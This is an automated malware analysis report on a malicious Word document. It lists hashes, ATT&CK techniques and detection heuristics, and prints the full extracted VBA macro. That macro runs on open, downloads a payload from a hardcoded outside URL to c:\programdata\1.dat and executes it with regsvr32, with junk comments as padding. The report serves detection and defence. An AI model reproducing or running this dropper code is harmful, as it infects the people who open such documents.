Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8a71f3e2f7bd40f2…

MALICIOUS

Office (OOXML)

113.7 KB Created: 2020-07-01 09:31:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-07-24
MD5: a6eb033f51ea8c51dfa5530cacaa0f89 SHA-1: b90c049b9c13666806912c490915a036258eaa84 SHA-256: 8a71f3e2f7bd40f2c98bbe0257e925408cc1c2a56d5a0b70961304609d6e0a72
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.010 System Binary Proxy Execution: Regsvr32 T1105 Ingress Tool Transfer T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The AutoOpen macro executes a function that downloads a file from the hardcoded URL 'http://407.cd.gov.mn/_W54sEoZKl-m2w6RZ.php?x=MDAwMSDquFjnnQfNskuQwXSFpyH0Z9_qXomuRTk0GI_JRu_fKoAz7nCHxvKoT8dz8tAtY6hCXcf7As15lmDc9hy783iLCvBjCDIJbjSKoo-yMGxsQeXacHaexrHhGtmbv6dHXB6EcntdaN8Mkiq-pA_sQw~~' to 'c:\programdata\1.dat'. Subsequently, it uses 'regsvr32 c:\programdata\1.dat' to execute the downloaded file, indicating a downloader or droppper functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.GreenBox6-9139694-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox6-9139694-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
Public Declare PtrSafe Function CN Lib "urlmon" Alias "URLDownloadToFileA" (ByVal I As LongPtr, ByVal C6 As String, ByVal lG As String, ByVal Pm As LongPtr, ByVal sH As LongPtr) As Long
#Else
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Dim yv As New WshShell
yv.exec "regsvr32 c:\programdata\1.dat"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "yC"
Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://407.cd.gov.mn/_W54sEoZKl-m2w6RZ.php?x=MDAwMSDquFjnnQfNskuQwXSFpyH0Z9_qXomuRTk0GI_JRu_fKoAz7nCHxvKoT8dz8tAtY6hCXcf7As15lmDc9hy783iLCvBjCDIJbjSKoo-yMGxsQeXacHaexrHhGtmbv6dHXB6EcntdaN8Mkiq-pA_sQw~~ Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2350 bytes
SHA-256: f995414fe58a151dd411b4cf69bbd87e871cebf7dea6bd39b38dccf75a266abf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "yC"
Sub autoopen()

' Michael deputy
' Thongs dramatist teams lighthouse
zj = CN(0, "http://407.cd.gov.mn/_W54sEoZKl-m2w6RZ.php?x=MDAwMSDquFjnnQfNskuQwXSFpyH0Z9_qXomuRTk0GI_JRu_fKoAz7nCHxvKoT8dz8tAtY6hCXcf7As15lmDc9hy783iLCvBjCDIJbjSKoo-yMGxsQeXacHaexrHhGtmbv6dHXB6EcntdaN8Mkiq-pA_sQw~~", "c:\programdata\1.dat", 0, 0)

' Painstaking
' Innocuous parker belated drilling
D
End Sub

Attribute VB_Name = "yC1"
Sub D()

' Ken sisters wv
' Hazardous peat
' Clause variables
' Pores priory hunger
' Macedonia compute

' Monotheism physically
' Cycling nascent wight organizations webshots
' Passport
' Contraction
' Ablest clam sectarian province enclosed acclaimed
' Person repulse assault accounting captured languor

' Laid staggers
' Trader arrives
' Berry gainsay crusty when cosmic elapse
' Incentive tibetan
' Manga jam snail

' Howto curd
' Clang
' Ludlow sake introduced
' Feedback geology

' Grocery macro spawn ocular forming
' Sicilian dory

' Foul merit mat
' Oman subconscious buck linden
' Opposed leer dev

' Fume selecting gauge diablo
' Fragmentary sabre config completely

' Celt northeast grope upstart predict
' Launches sky blent membership
' Constituting agrees omelet margot
' Persons lows
Dim yv As New WshShell
yv.exec "regsvr32 c:\programdata\1.dat"

' Amos studios elucidation textbook hardwood
' Taurus singapore clear hebe
' Exactly
' Spice sacerdotal pitiable ajax pus
End Sub

Attribute VB_Name = "GE"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function CN Lib "urlmon" Alias "URLDownloadToFileA" (ByVal I As LongPtr, ByVal C6 As String, ByVal lG As String, ByVal Pm As LongPtr, ByVal sH As LongPtr) As Long
#Else
Public Declare Function CN Lib "urlmon" Alias "URLDownloadToFileA"(ByVal I As Long, ByVal C6 As String, ByVal lG As String, ByVal Pm As Long, ByVal sH As Long) As Long
#End If
Function ux(nR)

' Immodest thick emmanuel gracefulness
' Diffident biotechnology
' Backed l ares
' Directions tillage wrestling vulcan
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19968 bytes
SHA-256: 3259610be9529e3ae56330994853a273d5f85b056b914662be464ccc1e975a95

Open this report in the interactive analyzer, or submit your own file for analysis.